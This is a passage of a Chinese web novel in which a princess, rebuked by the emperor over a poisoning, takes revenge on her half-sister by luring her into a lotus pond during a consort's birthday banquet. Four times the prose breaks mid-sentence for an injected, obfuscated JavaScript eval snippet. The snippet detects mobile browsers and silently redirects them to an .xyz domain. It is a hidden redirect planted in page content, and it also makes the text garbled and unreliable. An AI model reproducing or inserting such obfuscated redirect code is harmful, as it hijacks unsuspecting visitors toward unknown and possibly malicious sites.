胥毓的脑子里太乱了,以至于皇帝说完又看了她好一会儿,她才反应过来要谢恩。 “多谢父皇体恤,儿臣今后绝不再犯,定会维护好皇室的体面。” 其实她应该感到庆幸的,毕竟她被划分在了自己人的位置,所以皇帝的那些雷霆手段,只要不犯下大错,应当都不会落在她的头上。 可就在胥毓刚刚稳下心神的时候,却不想皇帝又突然捏住了她的下颚,“维护皇室体面确实是你的分内之事,但毓儿,除此之外,你难道就没有什么别的想和朕说了吗?” 胥毓呼吸一滞,脑子里惊雷落地,几乎是下意识的,便猜出了皇帝想说的是什么。 而果不其然下一秒,皇帝的声音便再次响起。 他目光如刀,格外锋利,“锦婳下毒一事,朕已全部知悉,她素来爱耍些个小聪明,平日里小打小闹,朕也就睁一只眼闭一只眼,权当不知情了。可这次她竟然胆大包天的对你动手,便实在是罪不可赦!” “父皇……” 阳光依旧温暖,胥毓却瞬间如坠冰窟。 他果然什么都知道! 也对,连皇后都能轻易地看透自己的底细,作为一国之主的皇帝又怎么可能全不知情! 他必然是比皇后知道的还要只多不少! 可是这件事情他们都知道,那刚回宫的时候,胥嘉借未央宫之名将自己诓骗到废弃宫殿妄图羞辱的事,还有回宫路上那些一次接一次的围杀堵截,他们又怎么可能毫不知情! 但既然知情,又为何只字未提? 是不愿,不敢,还是觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039936|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得从前的她根本就不配? 胥毓的指尖死死的掐进掌心,从未有一刻,如此的厌恶她一直视若珍宝的亲情。 “……手足之情不可忘。” 皇帝又说了许多,但胥毓却根本无暇再听,她只觉那些游荡在自己耳边的碎语,像针,也像苍蝇,让她既感到疼痛,又觉得恶心。 但皇帝摩挲着拇指上的玉扳指,却只当胥毓的反常是小女儿心思被戳破的无措,所以又说了许多大道理,才拍着胥毓的肩膀说道:“好了,起来吧,朕已罚她闭门思过,此事便到此为止。” 到此为止? 若不是她精通医理,及时发现不对并替自己解毒,那想必今日的她就算是不死怕也是要脱下一层皮。 可这样的代价,仅仅是因为自己及时的反击了,便只用了个小小的禁足,就要她到此为止。 她心中无声冷笑,时至此刻她才终于明白,自己那些小聪明、小算计,在这些上位者眼里不过是儿戏。 他们冷眼旁观着那些人对她的刁难,不过是在等她自行解决。 解决得好是本事,解决不好便是无能,而无能的废物,就更没有搭救的必要! “儿臣谨遵父皇教诲。”她听见自己的声音机械地响起。 她答应了,只不过答不答应是一回事,做不做得到又是另一回事。 她怎么可能放任欺负自己的人就这么轻飘飘的被放过,睚眦必报才是她的人生信条! 但这些皇帝却是全不知情,他看着那颗埋在自己脚下的脑袋,似乎很满意她的顺从,所以又闲话了几句,才依依不舍地起身离去。 胥毓一直保持着行礼的姿势,直到脚步声彻底消失,豆大的泪珠才“啪嗒”一声砸在了地上。 “公主……”琴夏怯生生地唤道,看见公主流泪,她的眼眶也止不住的发酸。 胥毓在琴夏的搀扶下缓缓直起身,脸上的血色已然尽褪。 她走到窗前,望着皇帝远去的背影,忽然又笑了。 眼睫上的泪珠将落未落,衬得那笑容冰冷刺骨,吓得琴夏不由自主地倒退半步。 “都退下。”她轻声道。 待殿内只剩下她一人,她才猛地将软榻上的篮子猛地砸在地上。 篮子里的那些东西,都是这些时日那几个兄弟姐妹们或真心,或假意送来的消遣之物。 胥毓将它们摔在地上,胥昭云送来的绣绷咕噜噜转了几圈,又回到了她的脚边。 眼下丝线崩断,那只精致的蝴蝶凄惨地贴在地面,像被钉死的标本。 可胥毓看都没看一眼,便将东西又踢到了一边。 什么父女亲情,什么母慈子孝,什么手足情深,统统都是笑话! 她也是一个天大的笑话! 皇帝今日前来,分明是为了敲打于她,让她知道皇室可以给她尊荣,自然也可以随时收回。 而那些所谓的兄弟姐妹,也不过是一群披着人皮的豺狼,人心隔肚皮,有皇帝皇后的前车之鉴,她又怎么能再轻易地相信这皇宫里的每一个人! 胥毓走到妆台前,盯着铜镜中的自己,镜中少女眉眼如画,却再也找不到半分在丹骆村时的天真。 她缓缓拉开抽屉,取出皇后赐下的那根银针。 “靠山山倒,靠人人跑。”她低声自语,指尖抚过冰冷的针尖,“唯有自己……才能永远地忠于自己!” 窗外冷风乍起,卷落一地枯叶。 胥毓的眼神渐渐坚定。 既然没有人为她做主,那她便自己为自己讨一个公道,她不会要胥锦婳的命,但也会给对方一个永生难忘的教训! 室内烛火摇曳,将她的影子投在墙上,扭曲如鬼魅。 从今日起,那个渴望亲情的阿柳已经死了,活下来的,只会是心硬如铁的荣安公主。 而几日后的高贵妃寿宴,便是她复仇的伊始! 26. 异样情感 胥毓睁开眼睛的时候,寝殿内的烛火已燃到尽头,只剩几缕青烟在梁柱间盘旋,将她映在窗纸上的影子拉得又细又长。 “公主,该梳妆了。”听见房内动静,贴身侍女琴夏的声音在门外响起,带着小心翼翼地试探。 这几日公主瞧着精神不佳,但她做奴婢的也不好过多追问主子的事儿,所以只能将自己分内的事做好,以免公主再多生烦忧。 但是今日是高贵妃的寿宴,高贵妃是后宫之中除皇后以外,最得盛宠的妃子,不好怠慢。 故公主若是再不起床,只怕是要赶不及了。 但好在她没忧虑多久,门内的主子就应了声“进来吧”。 说是来不及,眼下时辰也不过辰时三刻,晨光尚未穿透云层。 只是参加宴席的一应装扮过于耗时,所以需要早早起来梳洗打扮。 待到胥毓终于在宫女的服侍下洗漱完毕,用过早饭,整个寝殿内已是忙作一团。 宫女们手捧珠钗罗裙来回穿梭,熏笼里的沉香袅袅升起,将整个寝殿笼在一片暖香之中。 “公主今日定是能艳压群芳!” 琴夏小心翼翼地捧着那顶尚宫局新制的珍珠冠,眼中满是惊叹,嵌在冠中的南海鲛人珠在烛光下泛着莹润的光晕,无论从哪个方向看来,都如满月般皎洁。 胥毓端坐在铜镜前,任由宫女们在她发间穿梭。 金丝攒成的牡丹、点翠嵌宝的蝴蝶,一件件华贵的首饰被簪上云鬓,最后当那顶珍珠冠戴上去时,连见惯了富贵的芳吟都忍不住倒吸一口凉气。 “公主今日这般打扮,怕是要把满园子的花都比下去了。”芳吟笑着递上一盒口脂。 胥毓对着铜镜抿了抿唇,朱红色的口脂立刻让她的容颜更添几分艳色。 她轻轻转动脖颈,珍珠冠上的流苏随之摇曳,在颊边投下细碎的光影。 好看是好看,可今日的主角可不是她,所以口脂的颜色还是应淡上几分。 “芳吟。”胥毓一边擦拭唇角,一边唤道,“交代你的事这几日办的如何了?” 自那夜决定自己复仇,胥毓虽面上没什么动作,但其实早就已经架好了渔具,只等着那条蠢笨的鱼儿上钩。 芳吟凑近她耳边,压低声音道:“您托云溪县主为你找的人已经送进宫了,现在人就在外头,可要奴婢将人给唤进来?” 那人是今日成事之关键,现在暴露着实不妥,所以胥毓抚了抚眉,说道:“让他先等着吧,等高贵妃寿宴开始再带出来,我要得东西带回来了吗?” 这次除了托云溪帮她找了个人,胥毓还让她帮自己寻了把宝剑,价格不是问题,只求削铁如泥。 那日皇帝的话不止是让她看清了这宫闱温情不过浮云,也让她知道了如今作为公主,她更应该学会利用自己现有的权势来保护自己。 所以她既有了褚奎这么个可御前带刀的贴身侍卫,那不用白不用,往后谁要再敢招惹她,她就直接让褚奎把人给砍死! 而这把宝剑,就是特意为褚奎准备的。 护送自己回皇城的一路上,他都佩着剑,想来平日里也是惯常用剑的。 可和自己回了宫以后,或许是担心给自己惹麻烦,所以他并没有带回自己的那把剑。 但剑客离了剑怎么能行呢? 虽然找不到他原本的那把剑了,但旧的不去新的不来,她重金求得的这把宝剑,便算是送给他的第一份礼物吧! 这时芳吟已经命人将装着宝剑的锦盒取了来,她接过锦盒,递到胥毓面前,“云溪县主说,此剑乃铸剑大师长孙冠清晚年所铸,锋利无比,吹毛断发,公主,可要先看看?” 看是要看的,只是不能自己先看。 胥毓接过锦盒,指尖轻轻摩挲着盒面上繁复的云纹,唇角微扬:“很好,把褚侍卫叫进来吧。” 褚奎就在院子里,芳吟一唤,便大步走入殿内。 他看着胥毓,抱拳行礼:“公主,您找我?” 胥毓示意他伸手,褚奎虽然不解,但还是将两只手老老实实地摊开,之后不等他追问胥毓这是做什么,便见胥毓将手里那只一看就很精贵的锦盒塞给了自己。 “给你的。” 褚奎疑惑地接过,不知公主殿下为何又突然送自己东西。 胥毓看重于他,所以呆在未央宫里,他的衣食住行样样都是极好的,压根就没有什么短缺。 可胥毓送他,他也没有推拒的理由,所以只好点头道了句:“多谢公主。” 但话音刚落,打开锦盒一看,他便顿时怔住。 只见盒中躺着一把通体乌黑的长剑,剑鞘上缠绕着暗金色的纹路,古朴而凌厉。 “这……” “试试趁不趁手。”胥毓没有错过他眼底那一闪而过的惊艳。 看样子应该是喜欢,云溪挑东西的眼光果然不赖! 但此时的褚奎却是无暇顾忌胥毓的小心思了,他现在全部的注意都被手中的长剑所吸引。 他拔出长剑,寒光乍现,剑身如霜雪般清冷,锋刃处隐隐有流光浮动。 他随手一挥,案上的一支蜡烛就悄无声息地断成两截! “好剑!”他忍不住赞叹。 褚奎的手指轻轻抚过剑身,冰冷的触感让他心尖微颤,他抬头看向胥毓,喉结滚动了一下,声音有些低哑:“公主,这太贵重了……” 这不是他第一次说贵重了,但好像胥毓送他的东西也确实没有俗物,她对自己,总是好得过分。 但胥毓却从来没有注意过这些,她唇角微扬,眼中带着几分期待:“喜欢吗?喜欢的话,再贵那也是值得的,而且这是我第一次送你礼物,也不知道合不合你心意。不过要是不合也没关系,我以后可以再挑更好的给你。” 这样贵重的礼物怎么可能不合心意? 但褚奎的注意却被胥毓的另一句话吸引,他忽然怔住,指尖无意识地摩挲着剑柄上的纹路,“第一次……” 胥毓疑惑地挑眉:“是啊,怎么了?” “不……”褚奎垂下眼帘,掩去眸中翻涌的情绪,“公主前些时候……还送过属下一双皂靴。” 那天是她头一次去崇文馆的日子,尚衣局将新裁的衣裳给她送来,但她不忙着看新衣,却是先送了他一双云锦制的皂靴。 当然那也算不得第一次,对于褚奎而言的第一次,应当是自己刚决定跟着她时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芳吟在一旁笑道:“这名字真好,既衬剑,也衬人。” 衬人吗?褚奎的余光又情不自禁地落在了胥毓的脸上。 剑无名时,不过是利器,有了名字,便有了魂。 正如他,遇见她之前,不过是暗处的影子,而如今,似乎也有了想要守护一生的光。 走出殿门时,晨风拂过发烫的耳根,褚奎握紧手中的剑,指节泛白。 他知道,有些界限永远不能跨越,但胸腔里那颗躁动的心,却怎么也平静不下来。 殿内,胥毓望着他离去的方向,若有所思地抿了抿唇。 琴夏端着茶进来,见状问道:“公主,怎么了?” “没什么。”胥毓收回视线,“只是觉得……褚奎刚才的眼神,好像有些奇怪。” 芳吟笑了笑:“许是得了新剑,太高兴了吧。” 胥毓摇摇头,没有接话。 窗外的海棠被风吹落几片花瓣,飘飘荡荡地落在石阶上,就像某些说不清道不明的心事,还未盛开,便已凋零。 27. 人呢 “三公主已经出门了,正往御花园的方向去。” 褚奎走后,没过多久,芳吟就从宫人的口中得来消息。 胥毓唇角微扬,眼中闪过一丝冷光:“褚侍卫那边应该也已经准备好了,咱们出发吧。” 她今日参加高贵妃寿宴,只带了琴夏和两个小宫女随行,连平日里寸步不离的芳吟都被留在了宫中,着实是有些令人意外。 初春的御花园百花初绽,微风拂过,带起阵阵暗香。 胥毓故意选了条偏僻小径,行走间的脚步时快时慢,像是在等什么人。 没过多久,身旁的琴夏就突然低声说道:“公主,人来了。” 胥毓不动声色地抬手捋了捋耳边垂发,余光瞥见远处一抹鹅黄色身影,正是胥锦婳。 胥锦婳带着宫女途径此处,原本只是路过。 但见胥毓今日身边跟着的竟是琴夏和两个眼生的小丫头,心生好奇,便屏退左右悄悄跟了来,想看看胥毓到底要搞些什么名堂。 她像是头一遭做这种事,所以跟踪的技法漏洞百出,好几次都搞出了声响。 但胥毓冷笑一声,统统装作没听见,然后快步走向了假山后的凉亭。 胥锦婳当然没觉得是自己已经暴露了,她看着胥毓慌乱地脚步,只当她八成是要干什么坏事,所以根本无暇顾忌自己是不是会被人跟踪。 这样一想,她心里就更加好奇,于是赶忙又加快了脚下的步子。 穿过拱桥,跟着胥毓的脚步行至假山处时,只见那里早已候着一个披着墨色斗篷的身影。 虽然宽大的帽檐将那人的面容遮得严严实实,但无论是从那显露出来的身形个头,还是露在外面宽大厚实的手掌来看。 都毋庸置疑是个男子! 胥锦婳的心脏“突突”直跳,暗道这山野丫头果然不是个安分的,没想到回宫才没多久,竟然就开始勾搭野汉子了! 她本是因为下毒一事害怕胥毓报复才暗中跟踪,没想到竟撞破这等丑事! 只可惜她害怕暴露,没带什么人来,不然现在就可以抓她个现行,帮胥嘉一举除了这个祸害。 但有一有二便有三,胥毓既然做了这样的事情,就不怕她后面能忍住不找这人,所以只要她能把人给盯紧,就不怕抓不到胥毓与人私通的证据…… 这边胥锦婳暗搓搓地想着,那边胥毓却是“急不可耐”地和人拉扯。 “你怎么才来啊?”她故意提高声音,语气中带着几分娇嗔,“人家都等急了。” 斗篷人没有答话,只是伸手拉住了胥毓的手腕。 两人拉扯间,胥毓的珍珠冠歪了几分,流苏缠在了斗篷人的衣扣上。 “小心些……”胥毓慌乱地去解,发髻都散了几缕。 但这可不在她的计划之中。 原本她只打算装模作样地和扮做“奸夫”的褚奎接上头,然后说几句话,就把胥锦婳甩开继续下一步棋。 但没想到今日头上的这顶冠子如此不方便,所以一个不小心,便挂到了褚奎的身上。 “公主小心,属下来。” 被斗篷覆面的褚奎小心地将挂在身上的流苏摘下,他垂首,胥毓又不得已的向他胸膛的方向偏着头。 所以从胥锦婳的角度来看,就像是胥毓与人私会,并且大胆的依偎在了对方的胸膛上。 这阴差阳错的暧昧画面被躲在假山后的胥锦婳尽收眼底,她顿时瞪大了眼睛,手指死死攥住帕子。 可惜,可惜,实在可惜! 此番要是带了人来的话,胥毓绝对是插翅难逃的! 不过,虽然自己没带人,但今日高贵妃寿宴,处处都是忙碌的宫人。 只要她能把胥毓和那个奸夫当场抓住,再把其他人吆喝过来,说不定也能让胥毓就此身败名裂! 胥锦婳心里想得美滋滋,但正当她想要靠近时,却见那斗篷人突然揽住胥毓的腰,然后几个起落便消失在假山后。 胥锦婳急得跺脚,赶忙追了过去,但她为了不被发现离得本来就有些远,所以眼下赶过来,方才站在这里的两人早就全没了踪迹。 她气恼地叹了口气:“早知道就早点过来了!” 但现在说这些已经晚了,所以她再不甘也只能作罢,心里盘算着等到了宴席上再找机会试探试探胥毓。 * 高贵妃的寿宴设在凝晖堂,殿内金碧辉煌,觥筹交错。 胥锦婳到后等了许久,眼见着宴席马上就要开始,不知跑去哪儿的胥毓才姗姗来迟。 她头上的珍珠冠已经重新整理好,冠上那颗鸽卵大的南海鲛人珠在灯下熠熠生辉,瞬间吸引了所有人的目光。 “荣安公主到——” 太监的唱喏声中,胥毓款款而入。 她先参拜过父皇母后,才向一侧的高贵妃行礼,“贵妃娘娘容光不减,今日宴席更见风华,荣安遥祝娘娘福泽绵长,如月之恒,如日之升,岁岁无忧,喜乐常伴。” 高贵妃就坐在皇帝下首,因着家中权势颇得圣宠,所以日日舒心的保养下,年近四十的年岁瞧着倒像是二十出头。 她今日身着一席正红色大衫,领口袖沿滚着两指宽的织金缠枝纹,大衫外罩着深青色霞帔,帔身用孔雀蓝线绣出了流云百福。 头上的九翟冠倒是没插满珠翠,只在冠顶嵌了颗鸽血红宝石,两侧金凤衔着珍珠串垂到鬓边,垂珠碰着耳垂上的翡翠环,倒比鬓边簪的那只赤金点翠步摇更显灵动。 再看她脸上,脂粉打得极薄,偏那肤色本就白润,倒像刚剥壳的荔枝肉,透着点自然的粉。 眉是用螺子黛画的远山眉,尾端微微挑起来,却没带半分凌厉,反倒衬得那双杏眼更显水润。 眼尾扫了点胭脂晕,不细看只当是天生的红晕,唇上点的是蔷薇色口脂,唇角微微弯着时,倒比她鬓边任何一朵珠花更添艳色。 她听了胥毓的祝词,眼波流转间漾起一丝笑意,“荣安公主这张巧嘴倒是会说,只是本宫听闻公主近来身子不爽利,怎的还特意赶来?” 这就是说话的艺术了,阖宫上下谁人不知胥毓是中了毒,且还牵扯到了皇室内斗,而且皇帝对此也完全是讳莫如深。 但高贵妃不提中毒,只说是身体不爽利,这样既没损了皇室颜面,又体现了对胥毓的关切之情。 着实厉害。 胥毓又看了眼这位集美貌与智慧于一身,可惜却生出了二皇子那么个笨蛋的贵妃娘娘,内心止不住的为她惋惜。 “娘娘寿辰,荣安岂敢怠慢,只不过前些时候害了些小病,如今已大好了。”胥毓垂眸浅笑,鬓边的流苏随着她的动作轻轻摇晃。 虽然并没有提及什么,但皇帝显然还是有些忌讳,所以他在上首客套地笑了笑,便说道:“毓儿向来懂事,礼数也格外周全,所以如何会缺席你的寿宴?好了,宴席要开始了,落座吧。” 皇帝赶人,刚好胥毓也不想再继续假客套,所以便顺势回到了自己的席位上。 但是好巧不巧,二公主胥昭云今日身体不适未能赴宴,所以胥毓此刻的位子竟然正与胥锦婳相邻。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051235|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这样也好,倒是更方便待会把她给引出去了。 胥毓不着痕迹得露出了一抹坏笑,然后又继续演了起来。 “大皇姐今日真是光彩照人。”胥锦婳假笑道,眼睛却一直往殿外瞟,显然在找那个斗篷人。 从胥毓出现在她的视线里开始,她的眼睛就丝毫没有停歇过,一会儿环顾四周看看有没有什么嫌疑人,一会又盯着胥毓漏在外面的肌肤想看出什么蛛丝马迹。 但是很遗憾,饶是她绞尽脑汁眼睛都快看瞎了,也丝毫没看出什么不对劲来。 要不是当时在御花园里的那一幕是自己亲眼所见,她现在只怕是都要怀疑是不是看错了。 但是好在胥毓现在坐在了她的身边,距离得这样近,她就不相信还不能看出点什么蹊跷来。 而此时胥锦婳的眼里的胥毓,听见自己给她打招呼,竟然就只是心不在焉地应着。 并且目光还频频地扫向殿门,就好像是在等着什么消息,亦或者什么人似的。 若是往常,按胥毓的性子,听见自己这么个疑似害过她的人无缘无故地找她搭话,她定是要阴阳怪气地杵上两句,但现在竟然只是随便地应和。 所以这副模样,就更让胥锦婳确信了她心中有鬼。 她坚信胥毓今天的这场宴席绝对还会有什么动作,所以一直都死死地留意着身旁的影子,生怕稍不留神,她就又和御花园里的那次一样,倏地就在自己的眼前消失了。 而胥毓自然也没有让她失望。 只见宴至半酣,芳吟突然就从殿外匆匆入内,她先是在胥毓耳边低语几句,随后又递上了一封信笺。 那封信件上并没有任何标识,看不出究竟写了些什么内容。 但胥毓展开一看,脸颊顿时飞上两朵红云,随即立马起身向高贵妃告罪,说是身子不适要先离席。 情书!绝对的没跑了! 胥锦婳的心里现在比拿到“情书”的胥毓还要更加激动,所以见胥毓离席,她立刻也跟了出去。 这次她都想好了,等到胥毓和那个“奸夫”一碰面,到时候她就立马冲出去将两人抓住,然后喊人过来捉奸! 到时候众人围观之下,纵使她胥毓能有三寸不烂之舌,也休想摆脱污名掀起什么风浪。 胥锦婳紧紧地跟在胥毓身后,双手激动地直发抖,她眼看着那主仆二人七拐八绕,最后停在一处假山前。 然后芳吟从怀中取出一件白色斗篷给胥毓披上,便留下胥毓一人,然后匆匆离去。 “来了来了,那个奸夫肯定就在附近!”胥锦婳心中狂喜,蹑手蹑脚地就跟了上去。 但穿着斗篷的胥毓走得极快,转过几道回廊后,又径直往后花园的莲池边走去。 莲池那边有些偏僻,正是一个偷情的好去处,想必他们必然是要在此处接头了。 胥锦婳兴奋地绕过假山,来到后花园的莲池边,只见莲池在阳光下泛着粼粼波光,几尾红鲤悠闲地游弋在水面的落叶之间。 但是,胥毓人呢,“奸夫”人呢,怎么两个人一个都没看见了? 胥锦婳站在池边,脚上的绣花鞋已经被露水打湿,她烦躁地踢开一块石子,溅起几滴水花。 “人呢?” 方才明明看见那披斗篷的身影往这边过来,怎么一转眼的功夫就不见了? 春风带着凉意掠过水面,带起一阵涟漪。 胥锦婳揣着满肚子的疑惑,突然觉得后背有些发凉,但还未及回头,一股大力就猛地踹在她的后腰上! “啊——” 28. 邰将军在偏殿等你 后花园中本是静悄悄的,廊下鹦鹉正歪着头梳理翎羽,池边垂柳的影子在碧波里轻轻晃荡。 却忽听一声惊叫划破了这份安宁。 原是胥锦婳不知被谁狠踹了一脚,然后整个人如断了线的风筝,“噗通”一声栽进了莲池里。 冰冷的池水瞬间从四面八方涌来,然后来势汹汹地灌入她的口鼻。 她身上那席华丽的衣裙吸饱了池水,沉甸甸地缠在她的手足上,倒是要比那池子里的水草还要烦人。 她拼命地想要往上爬,但指尖却只能抓到几把滑腻的浮萍,根本不足以支撑她从这池子里爬出去。 挣扎间,那日太液池落水的情形又再次浮于眼前。 那时她乘人不备猛地将胥毓推进冰湖,却不想她反应极快,虽还是没有摆脱落水的宿命,但却阴差阳错地把自己也给拉入了水中。 湖水冰凉刺骨,她打着寒颤眼看着就要爬上岸,却不想抬眼一看,就被先她一步上去的胥毓再次一脚给踹飞了出去。 “胥毓!”这个阴魂不散的女人,自己肯定是又着了她的道了! 新仇旧恨齐齐涌上心头,胥锦婳心里恨得咬牙,但一张嘴,池子里的污水却又顺着她的嘴角直往肺里钻。 所以她当即闭嘴,只敢在心里继续发狠:等她上了岸,绝对要让那个女人好看! 这莲池里的水并不深,但奈何底下的淤泥软得像棉花,脚刚一踩上去,还没来得及踩实,就立马“叽咕叽咕”的往下陷。 所以胥锦婳扑腾了半天,裙摆反倒是越缠越紧,完全没有一点能逃出去的迹象。 她的发髻早就散作一团,一只赤金点翠的珠钗从发间滑落,“咚”地一声沉入池底,连个影子都没能留下。 力气一点点从指尖溜走,眼前也开始一阵阵的发花,她胥锦婳再怎么不受宠,那也是金枝玉叶的天潢贵胄,何曾受过这等委屈? 可丢脸总比丢命好啊,毕竟留得青山在,不愁没柴烧。 一堆念头在她的脑子里翻来覆去地争论了好几遍,最终还是不想被淹死的恐惧彻底席卷大脑,然后她总算是呛着水,哑着嗓子地呼救道。 “救……救命……” 而随着她的呼救,不远处忽的传来一阵竹枝落地的声响。 随后几个正在修剪花枝的宫人们闻声赶来,见池水里泡着的竟然是她,顿时吓得脸色发白,于是赶忙从廊下拖了竹梯递到她的面前。 胥锦婳挣扎的太久,浑身失力,眼下好不容易抓住伸下来的竹梯,双手都有些抑制不住地发抖。 她被宫人们七手八脚拽上岸时,锦裙上的污水顺着衣摆直往下淌,不一会儿功夫,就在身下的青石板上积了一小滩,看着格外狼狈。 “这不是三公主吗?!”这时,一个小宫女低呼一声,显然,她也认出了胥锦婳的身份。 其他人听见她的这声呼喊,也都好奇的朝着胥锦婳的脸庞瞄了几眼。 胥锦婳顺势抬头。 便见她的周围已经围了十几个宫人,有捧着扫帚打扫的,拿着剪刀修剪花木的,还有几个明显是来后花园准备宴席后续的嬷嬷…… 他们的眼神里都毫无例外地带着惊慌与好奇,也有些胆大的眼里,还藏着丝看好戏的幸灾乐祸。 “看什么看!” 胥锦婳受不了这种像是把自己当猴子来看的眼神,当即尖声喝道,但她的声音因呛水而嘶哑,所以张牙舞爪地训斥,落在众人眼里却更加狼狈。 她挣扎着想要从地上爬起来,但泡了水的膝盖软得发颤,还是扶着身边的那棵柳树才勉强站稳。 发梢的水珠滴在颈间,冰凉刺骨,可心里的火却烧得更旺。 她已经彻底明白了今日的一切都是胥毓设的局,那个贱人故意引她来此,就是要让她在众目睽睽之下出丑! 怒火瞬间烧红了她的眼睛。 她甩开后知后觉想要来搀扶的宫人,拖着湿衣跌跌撞撞地往宴席的方向冲去,水珠从她发梢滴落,在青石板上留下一串深色的痕迹…… * 而此刻的凝晖堂里却正是热闹的时候。 丝竹声顺着窗棂飘出来,混着淡淡的熏香,胥毓正站在高贵妃座前,指尖捏着方素色丝帕,腕子一翻,丝帕里就忽而变出了朵牡丹,引得座上贵人们低低喝彩。 “贵妃娘娘再看。”她指尖又一转,牡丹忽的散开,化作只玉色蝴蝶,然后轻轻落在了高贵妃手中的锦帕上。 高贵妃见状笑得合不拢嘴:“荣安这手戏法可真真是精妙非常!” 皇帝也难得颔首:“毓儿何时学了这等本事,从前怎的不见给父皇也展示展示?” 这说得当然都是客套话,在座的无一不是达官显贵,什么样精妙绝伦的戏法没有看见过,哪能被胥毓随便学得这点皮毛就给唬住。 只是她年岁不大,又是在贵妃的寿宴上特意表演,所以接着祝寿的名义讨了几分巧罢了。 她也跟着笑了两声,刚要回话,谁知这时殿门突然“哐当”一声被推了开。 冷风裹着水汽涌进来,吹得烛火晃了晃。 众人转头去看,只见胥锦婳站在门口,湿发贴在脸颊上,脂粉被冲得一道一道的,活像个刚从水里捞出来的鬼魅。 满堂的丝竹声戛然而止。 “胥毓!”被仇恨冲昏头脑的胥锦婳尖声叫道,声音因愤怒而扭曲,“你竟敢算计我!” 推开殿门的那一刻,她心里确实是闪过了一丝慌乱,今日是高贵妃的寿宴,她如此衣衫不整的来此闹事,不仅仅是在打她的脸,也是在打整个皇室的脸。 毕竟今日在场的,除了皇室成员,还有着各路大臣及其家眷。 但是如此众目睽睽之下,她不好过,胥毓又岂能安然无恙? 她被胥毓算计,已然是丢脸至极,根本就不稀罕再加这么一道,所以慌乱只是一瞬,转眼愤怒的火焰就瞬间将她的理智给燃烧殆尽。 她是个不受宠的公主,再不济也就是继续回到她母妃身边,做个表面光鲜亮丽,实则却连贵人身边的丫鬟都不如的行尸走肉。 但若今日能将胥毓一举拉下马,凭着这件事,她至少在胥嘉面前能立下一笔功。 待到父皇驾崩,太子继位,胥嘉和太子的事情摆到明面上来,她又焉愁自己和母妃没有好日子过。 更何况……想起她当初偶然撞见胥嘉和太子的那些秘密交谈,胥锦婳心中冷笑。 谁知道父皇到底还活得了多久呢? 皇帝不知胥锦婳心中所想,见她如此狼狈地出现在众人眼前,脸色立刻便沉了下来:“搞成这样还到处乱跑,成何体统!” 胥毓虽然对一切心知肚明,眼下却还是装作吓了一跳,然后快步上前要扶她:“三皇妹这是怎么了,怎么弄成这样?” 但手还没碰到她,就被胥锦婳一把甩开。 “别装模作样了!”胥锦婳指着她的鼻子骂道:“方才就是你披着斗篷引我去后花园,然后又让人把我踹进莲池里的!” 席间一片哗然。 坐在末席的胥弦月吓得捂住了嘴,胥嘉却拿起茶盏,指尖在杯沿划着圈,眼里闪着兴味。 胥毓的脸上适时展露出无辜:“三皇妹在说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057733|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?我从方才起就一直在这儿给贵妃娘娘变戏法,何曾去过什么后花园,三皇妹莫不是看错了?” 或许是怕她不信,胥毓又转向众人,声音清亮,“父皇,母后,贵妃娘娘,以及在场的诸位,都能为我作证。” 周围立刻有人附和:“是啊,荣安公主一直没离开过。” “方才那手蝴蝶戏法,我们都看见了。” “……” 听见所有人都在为胥毓辩护,胥锦婳虽然不知道究竟是怎么一回事,但仍旧气得眼前发黑:“你撒谎!那个披斗篷的人分明就是你!” “真的不是我,三皇妹,你——”胥毓一脸焦急,但说着说着,忽然又猛地一拍手,像是想起了什么,“三皇妹说的披斗篷的人,莫不是我请来的戏法师傅吧。” 她扬声唤道:“琴夏,快把师傅请进来。” 殿侧的珠帘被轻轻掀开,琴夏领着个戴斗笠的男子走进来。 男子摘下斗笠,露出左颊一道浅浅的疤痕,对着上首众人行了个礼。 “这位是我托云溪县主从民间请来的戏法大家。”胥毓柔声解释道,“因面上有伤,怕唐突贵人,才一直以斗篷遮面。” 向众人解释完,胥毓又对着此人耳语几句。 随后那男子当即从袖中取出个瓷杯,然后倒酒入杯,再把那杯子往空中一抛,杯子落地时便化作了漫天金粉,在烛火下闪闪发亮。 满堂顿时又是一阵喝彩,连皇帝都露出了些笑意。 唯有胥锦婳站在原地,看着那漫天金粉,只觉得浑身血液都往头上冲,但又瞬间凉了下去。 